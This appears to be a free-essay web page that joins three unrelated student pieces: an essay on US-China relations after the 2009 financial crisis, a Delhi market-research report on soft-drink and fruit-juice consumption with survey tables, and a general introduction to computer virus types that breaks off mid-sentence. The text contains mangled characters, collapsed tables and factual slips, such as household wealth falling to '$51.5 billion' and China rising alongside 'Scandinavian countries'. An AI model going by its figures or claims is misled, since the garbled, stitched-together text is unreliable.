How Have Us-China Relationship Been Refashioned By The Crisis Essay Example for Free

How Have Us-China Relationship Been Refashioned By The Crisis Essay The economic crisis experienced over the recent past has had a resoundingly negative effect across the globe. Altman (2009a, p. 527) describes it as â€Å"the worst in over 75 years. † Different people and different occurrences contributed variedly toward this crisis. However, most researchers tend to point fingers towards the US and blame it solely for orchestrating the crisis through its dubious economic policies and financial excesses (Dibb, 2009, p. 3 and Altman, 2009a, p. 527). Wright (2009, p. 59) furthers this ideology by saying that the recession originated in New York and, and like a wildfire, spread to Asia and other parts of the world. According to Altman (2009b, p. 5), as a result, â€Å"The overall picture is a grim one: a deep, truly global and destabilizing downturn, with world GDP falling for the first time in post-war period. Given rising populations, such an outright contraction is stunning. † China on the other hand chooses to distant itself away from the blame game. Wright (2009, p. 64) supports this reaction by saying that â€Å"China is not blaming US for the crisis. † According to them, the crisis was a culmination of a series of events performed by different countries in relations to their trading methods, economic policies, domestic marketing tendencies as well as overall governance. This has been a tactful stand for china more so with the looming speculations of them wanting to take full advantage of the crisis to impose influence of their minimally scathed domestic economy. It also provides a platform for good interrelations with the US, if need be, since there is no bad-blood between them as opposed to the critiquing nations. For china, their strong domestic market acts as a cushion in this tough time that many nations are languishing in economic distress. Despite facing low revenues from their exports and generally having to deal with the challenge of fluctuating prices of commodities, it has been able to get solace from their stable Foreign exchange trading (Altman, 2009a, p. 31). In sharp contrast, the US-the strongest nation in the world is finding it difficult to cope with the crisis. Apart from allegedly overspending beyond their means, the financial injuries in their banks and credit-markets combined with the unprecedented liquidity levels have forced US down on their knees (Altman, 2009b, 529). To make matters worse, there have been recent concerns of the US loosing its focus from ensuring coherence, coordination and leadership. Altman (2009b, p. ) equates this tendency to the inward preoccupation of the US with severe unemployment, housing challenges and fiscal pressures. He exemplifies this by saying, â€Å"US household lost 20 percent of their net worth in just 18 months, dropping from a peak of $64. 4 trillion in mid 2007 to $51. 5 billion at the end of 2008 (p. 3). On the other hand, it looks like china could increase its diplomatic presence in the development world by sharing its vast acumen of resources and ideologies (Altman, 2009b p. 3). According to Altman (2009a p. 28), â€Å"This relatively unscathed position gives china the opportunity to solidify its strategic advantages as the united States and Europe struggle to recover† by investing in places where US and Europe can’t. In essence, this rise by china combined with other Scandinavian countries threatens to overthrow USA from the global driving seat. Altman (2009a, 527) aptly describes it as â€Å"shifting the world’s centre of gravity away from the united states. †An Analyst like Dibb (2009, p. 2) is already voicing out his opinions to this by saying the global wealth is speeding from the east to west. In fact, he goes further and says â€Å"We think that the global financial crisis will hasten the relative decline of America and Improve China’s status (2009, p. 5). † Such opinions are, however, greatly discouraged as they may just aggravate the highly polarised relationship between China and USA. Rediker (2009, p. 555-556) challenges America to copy from other well doing countries if they are to survive. He further voices out the deficit in ideology and capital which has facilitated null movement of the US economy, and asks them to swallow their pride by borrowing a leaf from the attested pages of China’s ideologies. This is especially important with the rising concerns of China’s ascendancy in geopolitical standings based on the increased car sales, freight shipment and electricity consumption; thus offering it great financial leverage (Altman, 2009b, p. 7). Nevertheless, other analysts believe that this crisis may lead to a better relationship between China and US. This they believe can be done by Obama administration giving China a more central role in the IMF as well as bringing them to the G8 (Altman, 2009a, p. 528). To them, China ideologies in terms of geopolitical measures are similar to those of the US i. . both do not want Iran to acquire nuclear weapons. Again, both China and US are capitalist in nature and therefore finding a middle ground for a starting a mutual relationship will not be very problematic. Based on such factors, Altman (2009b, p. 7) concludes that â€Å"It is increasingly clear that the US-Chinese relationship will emerge as the most important bilateral one in the world. † As a point of caution, Dibb (2009, p. 3) warns that USA and China should treat one another with respect-if such a deal is struck- or else, dire consequences could erupt in the event of a mass unrest from either ends. Of course there are underlying issues like USA routing for free markets and China supporting a controlled market; which may presumably conflict. However, proponents of better relations between China and US believe that the overall good of the world will supersede such minor differences (Dibb, 2009, p. 4). It is desperate times for US and maybe, that is the reason why they are going for desperate measures. Being into the unchartered waters of financial down-surge, the US has taken stern measures to resuscitate its economy. This is based on the trial and failure of an example is them stopping to spend on discretionary items and are only focusing on only the basics. Through this, they are able to save more and pay down their debts. China has commended this move and said it opens doors for fostering better relationships with other countries (Altman, 2009a, p. 531). In conclusion, hope is not lost even in these difficult times of financial distress. Coincidentally, this crisis coincides with the tenure of Barrack Obama as president and his message of hope even in times of hopelessness. As for now, Atman (2009a, p. 39) say that â€Å"The united states will have to operate from a smaller global platform-while others, especially china, will have a chance to rise faster. † Critics should nevertheless watch for USA’s comeback; their slip does not mean they have fallen (Wright, 2009, p. 556). In fact, this should be a chance for both China and USA to demonstrate good leadership by working together. By doing this, the economic crisis-which not only affects the US and China but also other parts of the world will eventually be a thing of the past (Wright, 2009, p. 566).

Comparative Study on Consumption Patterns of Soft Drinks and Fruit Juices Essay Example for Free

Comparative Study on Consumption Patterns of Soft Drinks and Fruit Juices Essay A drink, or beverage, is a liquid specifically prepared for human consumption. In addition to basic needs, beverages form part of the culture of human society. or any liquid suitable for drinking; may I take your beverage order? or A liquid to consume, usually excluding water; a drink. This may include tea, coffee, liquor, beer, milk, or soft drinks Types of beverage The various types of beverage are: †¢Alcoholic beverages †¢Non-Alcohol beverages †¢Soft drinks †¢Fruit juice †¢Hot beverages †¢Other 1. Alcoholic beverages. An alcoholic beverage is a drink containing ethanol, commonly known as alcohol, although in chemistry the definition of an alcohol includes many other compounds. Alcoholic beverages, such as wine, beer, and liquor have been part of human culture and development for 8,000 years. 2. Non-alcohol beverages Non-alcoholic beverages are drinks that would normally contain alcohol, such as beer and wine but are made with less than . 5 percent alcohol by volume. The category includes drinks that have undergone an alcohol removal process such as non-alcoholic beers and de-alcohol zed wines. Non-alcoholic variants: †¢Low alcohol beer †¢Non-alcoholic wine †¢Sparkling cider 3. Soft drinks The name soft drink specifies a lack of alcohol by way of contrast to the term hard drink and the term drink, the latter of which is nominally neutral but often carries connotations of alcoholic content. Beverages like colas, sparkling water, iced tea, lemonade, squash, and fruit are among the most common types of soft drinks, while hot chocolate, hot tea, coffee, milk, tap water, alcohol, and milkshakes do not fall into this classification. Many carbonated soft drinks are optionally available in versions sweetened with sugars or with non-caloric sweeteners. 4. Fruit juice Juice is a liquid naturally contained in fruit or vegetable tissue. Juice is prepared by mechanically squeezing or macerating fresh fruits or vegetables without the application of heat or solvents. For example,orange juice is the liquid extract of the fruit of the orange tree. Juice may be prepared in the home from fresh fruits and vegetables using variety of hand or electric juicers. Many commercial juices are filtered to remove fiber or pulp, but high pulp fresh orange juice is a popular beverage. Juice may be marketed inconcentrate form, sometimes frozen, requiring the user to add water to reconstitute the liquid back to its original state 5. Hot beverages Hot beverages, including infusions. Sometimes drunk chilled. ?Coffee-based beverages ?Cappuccino ?Coffee ?Espresso ?Cafe au lait ?Frappe ?Flavored coffees (mocha etc. ) ?Latte ?Hot chocolate ?Hot cider ?Mulled cider ?Tea-based beverages ?Flavored teas (chai etc. ) ?Green tea? Pearl milk tea ?Tea ?Herbal teas ?Yerba Mate ?Roasted grain beverages ?Sanka 6. Other Some substances may either be called food or drink, and accordingly be eaten with a spoon or drunk, depending on solid ingredients in it and on how thick it is, and on preference: †¢Soup †¢Yogurt OVERVIEW OF THE INDUSTRY The beverage market is worth $55 billion worldwide. The tides are turning for many beverage categories. While the carbonated soft drink and beer categories are merely treading water with flat sales, the energy drink category is surging ahead like never before. Bottled water, ready-to-drink coffee, ready-to-drink tea and sports drinks follow close behind with substantial sales increase- drinks without added sugar, no beer, along with developments in juice drinks and dairy-based drinks, are helping to turn around sales in these categories. What follows is a category-by-category look at the state of the beverage industry, including the top brands, new products, innovations and future trendsetters. In order to be successful in the marketplace, one has to think in terms of health innovation, flavor innovation, ingredient innovation and specific age groups. These are the factors that will shape the future of the beverage industry. â€Å"Today’s consumers are concerned with overall health and wellness. As a result, there is significant impact on food and beverage purchases. Many studies have shown that consumers are as concerned with good health as they are about maintaining a high quality of life. † Do you know what type of new beverage consumers are most likely to try? Do you know where they are most likely to pick those products up? Do you know why? Beverage Industry wanted to know the answers to these questions and to delve deeper into the ever-increasing number of new product launches in the beverage market. â€Å"The soft drink industry is training people to seek out new products, even the big guys are coming out with limited-edition flavors, and consumers are beginning to see that there is more flavor activity going on in the category. Whether that really nets anybody any sales gains is another thing, but it is teaching consumers to seek out and try new products. It’s also trying to create some excitement there. † In spite of several challenges and restrictions faced by this industry, it is a ‘roll’ like never before. Customer preferences may have shifted, but they are still always on the look out for a can of ‘coke’ or a new ‘flavored’ drink to quench their thirst. INDIAN BEVERAGE MARKET The size of the Indian food processing industry is around $ 65. 6 billion, including $20. 6 billion of value added products. Of this, the health beverage industry is valued at $230 million; bread and biscuits at $1. 7 billion; chocolates at $73 million and ice creams at $188 million. The size of the semi-processed/ready-to-eat food segment is over $1. 1 billion. Large biscuits confectionery units, Soya processing units and starch/glucose/sorbitol producing units have also come up, catering to domestic and international markets. The three largest consumed categories of packaged foods are packed tea, biscuits and soft drinks. The Indian beverage industry faces over supply in segments like coffee and tea. However, more than half of this is available in unpacked or loose form. Indian hot beverage market is a tea dominant market. Consumers in different parts of the country have heterogeneous tastes. Dust tea is popular in southern India, while loose tea in preferred in western India. The urban-rural split of the tea market was 51:49 in 2000. Coffee is consumed largely in the southern states. The size of the total packaged coffee market is 19,600 tones or $87 million. The total soft drink (carbonated beverages and juices) market is estimated at 284 million crates a year or $1 billion. The market is highly seasonal in nature with consumption varying from 25 million crates per month during peak season to 15 million during off-season. The market is predominantly urban with 25 per cent contribution from rural areas. Coca cola and Pepsi dominate the Indian soft drinks market. Mineral water market in India is a 65 million crates ($50 million) industry. On an average, the monthly consumption is estimated at 4. 9 million crates, which increases to 5. 2 million during peak season. RECENT ISSUES 1. Xtazy, another energy drink for the Indian market The Indian market for energy drinks was estimated recently to have a size of Rs 500 crore, about 90 million Euros. The market which is so far dominated by Red Bull, is attracting various new players which want to get a share in a growing business. One of the aspirants is Xtazy, an energy drink from the US. â€Å"Xtazy is the forth largest energy drink inthe US†, says Rohan Malhotra, Managing Director of R. M. Indian Liquor Pvt. Ltd. , the exclusive importer for Xtazy. Malhotra has launched Xtazy already in Eastern India, and was looking now for a distributor in the Delhi area, when FII spoke to him during IFE fair in Delhi recently. In order to take on Red Bull and get a share of 20% from their business, Malhotra wants to offer better conditions to distributors. â€Å"We provide a margin of 6-8% to a distributor, who thus can earn about Rs 6 a can†, Malhotra says. â€Å" This is more than what Red Bull offers which is only about 2 – 3 Rs per can. † Xtazy is available in cans of 350 ml, thus more than the usual 250 ml of other energy drinks, and will be priced with a MRP of Rs 85. Four variants are offered, Cranberry Blast, Sugar Free Passion Fruit-Pineapple, Orange Blast and Lime Blast. Malhotra has planned several marketing measures to promote Xtazy, like PoS actions, coupons and direct marketing in a first round, and night parties in a second round. In marketing communication, he is highlighting not only the variants, but also health effects as the USPs of Xtazy, which are derived from ancient herbs used in the drink like gingko and guarana. The extract of gingko biloba leaf has been shown to dilate blood vessels and has the ability to increase peripheral blood circulation, especially to the brain, the company writes in a leaflet. Guarana from Brasil would serve to promote weight loss by increasing the metabolic rate and reducing the appetite. Besides the US, Malhotra says, Xtazy would be marketed also in Israel, Ukraine and in Turkey and would soon be launched in China. 2. Australia-based Aromas launches first coffee store in India. Australia-based Aromas, one of the leading coffee chain shops, launched its first cafe outlet in India at Hiranandani, Powai, and Mumbai. The company also tied up with Ideal Hospitality Private Ltd (IHPL), which would own the brand in the country and south-east Asia. Jayant Mahiskar, chairman and MD, IHPL, said, Aromas is being launched keeping in mind the true coffee connoisseurs. We aim at targeting the youth and corporate at our outlets and Powai with a mix of residential and office complexes was a natural choice. The coffee has been created from selection of the original beans and blended to suit all tastes. Aromas ensures freshness and fullness of flavor. According to the agreement with Aromas, IHPL will pay about 1. 5% of the gross revenue earned. Further, the company has decided to invest about Rs. 50-75 crore in the next three years to expand its footprint with 99 outlets in India. 3. China rejects Coke bid to take-over major juice maker China has rejected Coca-Colas $2. 5 billion bid to buy a major Chinese juice maker. The purchase of Huiyuan Juice Group Ltd would have been the biggest foreign acquisition of a Chinese company to date. The proposed purchase was rejected on anti-monopoly grounds, the Chinese commerce ministry announced on its website. Coca-Colas bid in September prompted an outcry by nationalists who urged the government to bar foreigners from acquiring one of Chinas most successful homegrown brands. Rival juice producers warned that the acquisition would give Coca-Cola too dominant a position in Chinas beverage market. A Coca-Cola spokesman in Hong Kong learned of the rejection of the sale had no immediate comment. Huiyuans founders and major shareholders already had endorsed the sale. If Coke were to take over Huiyuan, it will dominate the soft drinks market in China, which not only hurts consumers, but also other sector participants. Huiyuan controls more than a tenth of the Chinese fruit and vegetable juice market that grew 15% last year to $2 billion. Coca-Cola has a 9. 7% share and dominates in diluted juices. According to analysts Chinas ruling on Coke could cut both ways in that Chinese firms that have been making increasingly high profile acquisitions abroad may run into trouble of their own. 4. Pepsis Slice kicks off the new season with Aamsutra PepsiCos popular mango juice drink brand- Slice kicks off the 2009 season with its new Aamsutra concept. According to Homi Battiwalla, business head, juice juice drinks, PepsiCo India, Slice had seen powerful consumer momentum post the re-launch of 2008. The new winning formulation has been appreciated by consumers. Aamsutra has driven strong disruption in the juice and juice drink category. All of this has made Slice the fastest growing mango drink brand in the country. South India is the lead market for mango drinks in the country. Andhra Pradesh is the biggest mango market and also the fastest growing market for Slice and mango drinks in the country. Tamil Nadu is amongst the top three states and Slice is the market-leader in Tamil Nadu, he added Pepsi has now opted for a new brand ambassador, Katrina Kaif. The creative thought behind the new communication was to further enhance the Slice experience into dimensions of pleasure, sensuality and indulgence. Last years commercial was about enumerating the principles of Aamsutra or the art of experiencing pure mango pleasure with the new Slice. This year, the commercial portrays the next level to bring alive the mango indulgence, stated Hari Krishnan, Vice President, JWT. The company has now opted for a 360 multimedia campaigns involving digital, print, radio, impact outdoors and sampling in core markets. 5. Parle Agro launches lemon flavoured drink LMN Parle Agro, one of the leading food beverage companies in India, has launched a new fruit-based lemon drink LMN in the non-carbonated segment. The new brand is a natural lemon juice drink and the only brand in India with a taste closest to home made, fresh lime water (Nimbu pani). According to the company, LMN will offer consumers a healthy, refreshing drink with the goodness of vitamin C. Every summer, the Indian beverage market has seen cola majors battle it out. This summer, the launch of LMN will see the cola wars taking a back seat and the battle spilling over to the non-cola segment, to be more precise in the nimbu paani category. PepsiCo India last week launched a nimbu pani drink, Nimbooz, under the 7Up brand On the occasion of LMNs launch, Nadia Chauhan, joint managing director and CMO, Parle Agro, said, Nimbu pani has traditionally been Indias most commonly consumed cold beverage. In fact the idea of a branded lemon drink is so simple that you would wonder why nobody thought of it earlier. The challenge for us was packaging a natural product while retaining its fresh, original taste throughout its shelf life. LMN will be available in 110 ml Tetra, 200 ml Tetra and 500 ml PET packs priced at Rs 5, Rs 10 and Rs 23 respectively. The company aims to touch a turnover of Rs 3000-3500 crore by 2011. The company will target both (youth and adult) segments of consumers to turn them into branded consumers of nimbu pani. Besides this LMN will also target an emerging segment of consumers who are looking for a healthy and refreshing beverage in the country. For the last 20 years, Parle Agro has been the market leader in fruit based beverages, we have constantly worked keeping in mind Indian preferences while formulating products that cater to the Indian palate. It is without any doubt that only an Indian company can understand what real nimbu pani tastes like and what the Indian consumer wants in a packaged offering, Chauhan added. Further, the company claims that packaged nimbu pani will have tremendous growth potential, higher than other packaged drinks mainly because of a major shift in consumer behavior. Today, the beverage consumer is looking for hygiene, convenience, refreshing taste, affordability and year-round availability. The name LMN is derived from the SMS version of the word lemon. Parle Agro also owns other fruit drink brands like Frooti, Appy Fizz and packaged drinking water, Bailey. 6. PepsiCo launches Nimbooz, packaged lemon juice with no fizz and artificial flavours. PepsiCo India has launched its packaged nimbu paani, Nimbooz, under its 7Up brand. The home-made nimbu paani or lime juice has been specially created to suit Indian tastes. The lemon juice, no fizz and artificial flavours, is available in trendy, convenient packs. The drink offers great value to consumers in three packaging formats of 200 ml returnable glass bottles (RGB), 350 ml PET and 200 ml Tetra attractively priced at Rs 10, Rs 15 and Rs 10, respectively. According to Ms Punita Lal, Executive Director- Marketing, PepsiCo India, Nimbooz, is specially developed to suit Indian tastes and preferences. Nimbooz is an affordable offering for consumers on the go because of its ready-to-drink format that is both convenient and hygienic. The proposition of the Indian refresher perfectly captures the mass appeal of this product and will certainly drive consumer connect, stated Ms Alpana Titus, Executive VP-Flavours, PepsiCo India. PepsiCo has drawn up an intensive consumer activation campaign to market Nimbooz. The 360 degree marketing communication plan will revolve around building awareness through multi-city launches and road shows, comprehensive 3D activation, leveraging Out-of-Home (OOH) media, radio, press and outdoors. Aggressive trial generation and sampling initiatives will also be taken forward across major cities of the country. A special Nimbooz Highway Gadi has been created that will visit the four major highways connecting Delhi to Jaipur, Dehradun, Agra to drive trails and consumer education. 7. Coke launches fruit-flavoured Fanta Apple nationally After successfully introducing it in southern markets last year, Coca-Cola India has launched its fruit-flavoured soft drink Fanta Apple nationally. The product is available in 200 ml and 300 ml returnable glass bottles and also in 500 ml PET pack priced at Rs 8, Rs 10 and Rs 22 respectively. During the Fanta Apple launch in October 2008, Venkatesh Kini, marketing vice-president, Coca-Cola India, said that the company had planned to reach about 3. 5 lakh customers with sample apple flavoured drink to extend its market leadership in the fruit flavoured segment in Andhra Pradesh and Tamil Nadu. As per consumer research, we have found that after orange, apple is the most preferred fruit in the country and Fanta Apple has been developed specially for the Indian palate, Kini said on Monday. According to experts, the nationwide launch of Fanta Apple is a part of the companys $250 million business plan for the country. Fanta Apple is the second flavour after Fanta Orange under Fanta brand of the company. We have had an excellent response down south with a reused value to the drink and with the national launch of Fanta Apple, we are stepping stones to extend Coca Cola Indias market leadership in the fruit-flavoured sparkling drink segment, Kini added. The company has also announced Bollywood actress Genelia DSouza as the new brand ambassador of the Fanta brand. According to reports, the current expected Indian soft drink market is about Rs 6,000 crore, in which the company shares about 50% market with its various brands like Coke, 7 Up, Fanta, Sprite and Thums Up. STUDY OF GROWTH OF SOFT DRINK MARKET SOFT DRINKS Carbonated drinks are dominated by artificial flavors based on cola, orange and lime with Pepsi and coca-cola dominating the market. The entire part of the drin. †¢Cola products account for nearly 61-62% of the total soft drinks market. †¢Two global majors’ Pepsi and coke dominate the soft drink market. †¢NCAER survey says 91% of soft drink in the country is in the lower, lower middle and upper middle class people. †¢The market is worth around Rs. 5000 crores with growth rate of around 10-15%. †¢The annual per capita consumption in India is only about 6 bottles vis- a- Vis 340 bottles in the U. S. †¢The production as soft drinks has increased from 5670 million bottles in 1998-99 to 6230 million bottles in 1999-2000 industry source. †¢Growth market this year is expected to be 10-15% in value terms and 20-22% in volume terms. However, the market for carbonated drinks is stagnating and not growing as expected. MAJOR PLAYERS IN SOFT DRINKS SEGMENT COCA COLA: thanda matlab coca cola!!! Coca cola has truly remarkable heritage. From a humble beginning in 1886 it has now become the flagship brand of largest manufacturer, distributor of non alcoholic beverages in the world. In India, coca cola was the leading soft drink till 1977 when govt. policies necessitated its departure. Coca cola has made its return to the country in 1993. and made significant investment to ensure that the beverage is available to more and more people in remote as well as inaccessible parts of the world. Coca cola returned to India in 1993 and over the past ten years has captured the imagination of the nation, building strong association with cricket, the thriving cinema industry, music etc. coca cola has been very strongly associated with cricket, sponsoring the world cup in 1996. In 2002, coca cola launched the campaign,†Thanda Matlab coca cola†. in 2003,coke was available for just rs,5 crores in the country. FANTA : GHOONTH BHAR SHARARAT KAR LEY!!! Fanta entered the Indian market in year 1996 under the coca cola brand . over the years, Fanta has occupied a strong market place and is identified as â€Å"the fun catalyst†. Fanta stands for its vibrant color, tempting taste and tingling bubbles that not just uplifts feelings but also helps free spirit thus encouraging one to indulge in the moment. LIMCA: LIME AND LEMONI!!! Drink that can cast a tangy refreshing spell on anyone, anywhere. Born in 1971, Limca has been the original thirst choice, of millions of consumers for over three decades. The brand has been displaying healthy volume growing year on year and limca continues to be leading flavoring soft drinks in the country. Dive into the zingy refreshment of limca and walk away a new person. SPIRITE: SPIRITE BHUJAYE PYAAS BAKI SAB BAKWAAS!!! World wide sprite ranked as no. 4 soft drink and is sold in more than 190 countries In India, sprite was launched in year 1999 and today it has grown to be one of the fastest growing soft drinks, leading clear lime category. Today sprite is perceived as a youth icon. With strong appeal to youth sprite has stood for a straight forward and honest attitude. Its clear crisp hingtaste encourages today’s youth to trust their instincts, influence them to be true who they are and to obey their thirst. THUMS UP: TASTE THE THUNDER!!! Strong cola taste, exciting personality. Thums up is a leading carbonated soft drink and most trusted brand in India. Originally introduced in 1977, thums up was acquired by the coca cola company in 1993. Thums up, is, known for strong, fizzy taste and its confident, mature and uniquely masculine attitude. This brand clearly seeks to separate the man from the boys. MAAZA: YAARI DOSTI TAAZA MAAZA!!! Maaza was launched in 1976. In 1993, maaza was acquired by coca cola India. Maaza currently dominates the fruit drink category. Over the years, maaza has become synonymous with mango. â€Å"Taaza Mango, Maaza mango, Botal mei aam, maaza hai naam†. consumers regard maaza as wholesome, natural, fun loving drink real experience of fruit. The campaign builds on the existing equity of the brand and delivers a relevant emotional benefit to the moms rightly captured in tagline, â€Å"yaari dosti, and taaza maaza†. PEPSI: YEH DIL MAANGE MORE!!! Pepsi cola is a carbonated beverage that is produced and manufactured by Pepsi co. It is sold in stores, restaurants and from vending machines. The drink was first made in the 1890’s in North Carolina. The brand was trademarked on June 16, 1903. There have been many Pepsi variants produced over the years. †¢Diet Pepsi †¢Crystal Pepsi †¢Pepsi twist †¢Pepsi max †¢Pepsi samba †¢Pepsi blue †¢Pepsi gold †¢Pepsi holiday spice †¢Pepsi jazz †¢Pepsi x(available in Finland brazil) †¢Pepsi next(available in Japan south Korea) STUDY OF GROWTH OF FRUIT DRINK MARKET FRUIT JUICES Branded fruit juice market in India holds an immense potential. Usually confused and considered synonymous with non-aerated drinks, fruit pulps, juices and squash are high sugar beverages, which are centrifuged and filtered to give a semi- clear appearance. In the past, this sector enjoyed an excise exemption, keeping cost at minimal. However the withdrawal of exemption has inflated costs and can affect growth, with dramatic change possible on reintroduction of excise exemption. MARKET †¢The organized fruit beverage market is estimated at Rs. 500 crores market. (Nectars, drinks and juices combined). †¢The market has grown at a 20% to 25% rate. †¢Of this, more expensive juices segment has grown at rate of 40%this year. It accounted for only 15% of the fruit beverage 3 years back. †¢In –home consumption of juices has gone up from 30%, three years back to 80%today. †¢Mango based drinks account for two thirds of fruit drinks industry. MAJOR PLAYERS IN THE FRUIT DRINK SEGMENT DABUR REAL Dabur’s flagship brand real fruit juice is a market leader in packaged fruit juice category. Real was launched in 1996 and the brand has carved a niche for itself by claiming to be the only fruit juice in packaged form . i. e. 100%preservative free. Real, with market share of 57% comes in nine flavors: †¢Orange †¢Mango †¢Pineapple †¢Mix fruit †¢Grape †¢Guava †¢Litchi †¢Tomato †¢Cranberry Real Active is 100%fruit juice with no added sugar and is available in following variants: †¢Orange †¢Apple †¢Orange- carrot GODREJ The food division of godrej industry produces and market fruit drinks, fruit nectar and sofit soymilk. Godrej’s brand JUMPIN comes in the following flavor: †¢Mango †¢Pineapple †¢Apple †¢Litchi †¢Orange Godrej’s x’s is a range of fruit nectar with more fruits. It’s available in following flavors: †¢Orange †¢Apple †¢Grape PEPSI’S TROPICANA. Tropicana brand fruit juice enjoys a market share of 25% and has registered a double digit growth and has outpaced the growth of fruit juice market in India. It is available in following flavors: †¢Orange †¢Apple †¢Grape †¢Cranberry LEH BERRY It is a product from Ladakh Foods. Its first fruit juice in Delhi and its selling it in the more affluent parts of town. It enjoys a market share of 4% and is available in a variety of flavors: †¢Pineapple †¢Apple †¢Mixed fruit †¢Orange †¢Blackcurrant †¢Mango †¢Guava PARLE’S FROOTI and APPY Frooti was launched back in 1985 and enjoys market dominance with 85% of market share. Parle’s Agro’s APPY, in 1996 had a market share of 5% in the fruit drink segment; in 2003 its new variant-APPY FIZZ was launched. RESEARCH METHODOLOGY METHODOLOGY Every project work is based on certain methodology, which is a way to systematically solve the problem or attain its objectives. It is a very important guideline and lead to completion of any project work through observation, data collection and data analysis. According to Clifford Woody, â€Å"Research Methodology comprises of defining redefining problems, collecting, organizing evaluating data, making deductions researching to conclusions. † Accordingly, the methodology used in the project is as follows: Defining the objectives of the study Framing of questionnaire keeping objectives in mind (considering the objectives) Feedback from the respondents Analysis of feedback Conclusion, findings and suggestions. PURPOSE OF THE STUDY The main aim of this research study is to analyze the preference of people (of different age groups) on consumption patterns of Soft Drinks and Fruit Juices. OBJECTIVE OF THE STUDY †¢To study the preferences of the people for soft drinks and fruit juices. †¢To find out the factor(s) that influences the consumer’s consumption of soft drinks and fruit juices. †¢To test the know-how of the consumers regarding the various existing brands of soft drinks and fruit juices. †¢To explore the next best beverage after soft drinks and fruit juices. †¢To find out how the beverage is positioned in the mind of the consumers. SCOPE OF THE STUDY †¢This study is confined to the North West Delhi region covering areas of Paschim Vihar, Pitam Pura, Rohini area, Punjabi Bagh. †¢Seasonal drinks are not considered in the study. †¢We are considering only canned juices. †¢We are not considering water alcoholic drinks. RESEARCH DESIGN A research design is a framework or blueprint for conducting the marketing research project. It specifies the details of the procedures necessary for obtaining the information needed to structure and/or solve marketing research problem. On the basis of fundamental objectives of the research we can classify research design into two general types: EXPLORATORY RESEARCH CONCLUSIVE RESEARCH Exploratory research is one type of research design, which has its primary objective the provision of insights into, and comprehension of, the problem situation confronting the researcher. Conclusive research is designed to assist the decision maker in determining evaluating and selecting the best course of action to take in a given situation. Conclusive research can be further divided into two types:- †¢Descriptive †¢Experimental The research design used in this project is a DESCRIPTIVE DESIGN. Descriptive study as the name implies is designed to describe something-for example the characteristics of users of a given product, the degree to which the product use the varies with income, age, etc. SAMPLING TECHNIQUE USED: This research has used convenience sampling technique. 1) Convenience sampling technique: Convenience sampling is used in exploratory research where the researcher is interested in getting an inexpensive approximation of the truth. As the name implies, the sample is selected because they are convenient. SELECTION OF SAMPLE SIZE: For the study, a sample size of 100 has been taken into consideration. SOURCES OF DATA COLLECTION: Research will be based on two sources: 1. Primary data 2. Secondary data 1) PRIMARY DATA: Questionnaire: Primary data was collected by preparing questionnaire and the people were randomly being requested to fill them. 2) SECONDARY DATA: Secondary data will consist of different literatures like books which are published, articles, internet and websites. In order to reach relevant conclusion, research work needed to be designed in a proper way. STATISTICAL TOOLS USED The main statistical tools used for the collection and analyses of data in this project are: †¢Questionnaire †¢Pie Charts †¢Bar Diagrams DATA ANALYSIS FINDINGS Q1. What do you prefer to drink? (Tick any 1) Particulars No. of RespondentsPercentage Soft Drinks5757% Fruit Juices4343% Total100100% Q2. Frequency of consumption of your preferred drink in a week? SOFT DRINKS Particulars No. of RespondentsPercentage. Daily2849% 2-6 times2340% Above 7611% Total57100% FRUIT JUICES Particulars No. of RespondentsPercentage Daily1023% 2-6 times3070% Above 737% Total43100% Q3. On what occasions, do you often consume the Soft Drinks? Particulars No. of RespondentsPercentage Feeling Thirsty1818% Parties / Celebrations4545% Without any reason (just like that)2525% Others1212% Total100100% Q4. On what occasions, do you often consume the Fruit Juices? Particulars No. of RespondentsPercentage Feeling Thirsty1717% Parties / Celebrations3232% Without any reason (just like that)2424% Others2727% Total100100% Q5. What induces you to buy Soft Drinks? Particulars No. of RespondentsPercentage Price with quantity3030% Health Drink 44% Status symbol 88% Taste3232% Variety2626% Total100100% Q6. What induces you to buy Fruit Juices? Particulars No. of RespondentsPercentage Price with quantity1313% Health Drink 4040% Status symbol 1515% Taste2222% Variety1010% Total100100% Q7. If not a Soft Drink or a Fruit juice, which other beverage (other than water) tops your mind? Particulars No. of RespondentsPercentage Coffee3030% Tea2525% Shakes(Milk/Ice cream/Fruit)88% Lassi1212% Sharbat2525% Total100100% Q8. How do you rate canned juices as compared to fresh juices? Particulars No. of RespondentsPercentage Equivalent to fresh juices 2424% Have artificial added flavor 3636% Healthy with preservatives 4040% Total100100% Q9. How do you view Soft Drinks? Particulars No. of RespondentsPercentage As a health drink44% As a status symbol88% As an aid to put off thirst5555% Any other3333% Total100100% Q10. How do you view Fruit Juices? Particulars No. of RespondentsPercentage As a health drink4040% As a status symbol1515% As an aid to put off thirst3232% Any other1313% Total100100% Q11. Do advertisements affect your purchases? Particulars No. of RespondentsPercentag.

Background Of Studies On Computer Viruses

Background Of Studies On Computer Viruses A computer virus is a computer program that can copy itself and infect a computer. The term virus is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive. Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer. As stated above, the term computer virus is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most root kits, spyware, dishonest adware and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that appears harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer systems data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to them. Some viruses do nothing beyond reproducing themselves. Section 1.2 Background of Studies on Various Computer Viruses Boot Sector Viruses This type of viruses has ability to hide in boot sector. The viruses will load into memory when there is booting system and trying to read from hard disk. Boot sector viruses are more spread since old time when floppy disk was popular. But now we hardly seen them since many of them only can spread through floppy disk. This type of virus affects the boot sector of a floppy or hard disk. This is a crucial part of a disk, in which information on the disk itself is stored together with a program that makes it possible to boot (start) the computer from the disk. The best way of avoiding boot viruses is to ensure that floppy disks are write-protected and never start your computer with an unknown floppy disk in the disk drive. Examples of boot viruses include: Polyboot.B, AntiEXE. Companion Viruses Companion Viruses is another kind of viruses. When user computer infect by this sort of viruses, it will create another type file from an existing file in same directory (such as creating file.com from file.exe in the same folder), some companion viruses create file.exe from any folder. It can be considered file infector viruses like resident or direct action types. They are known as companion viruses because once they get into the system they accompany 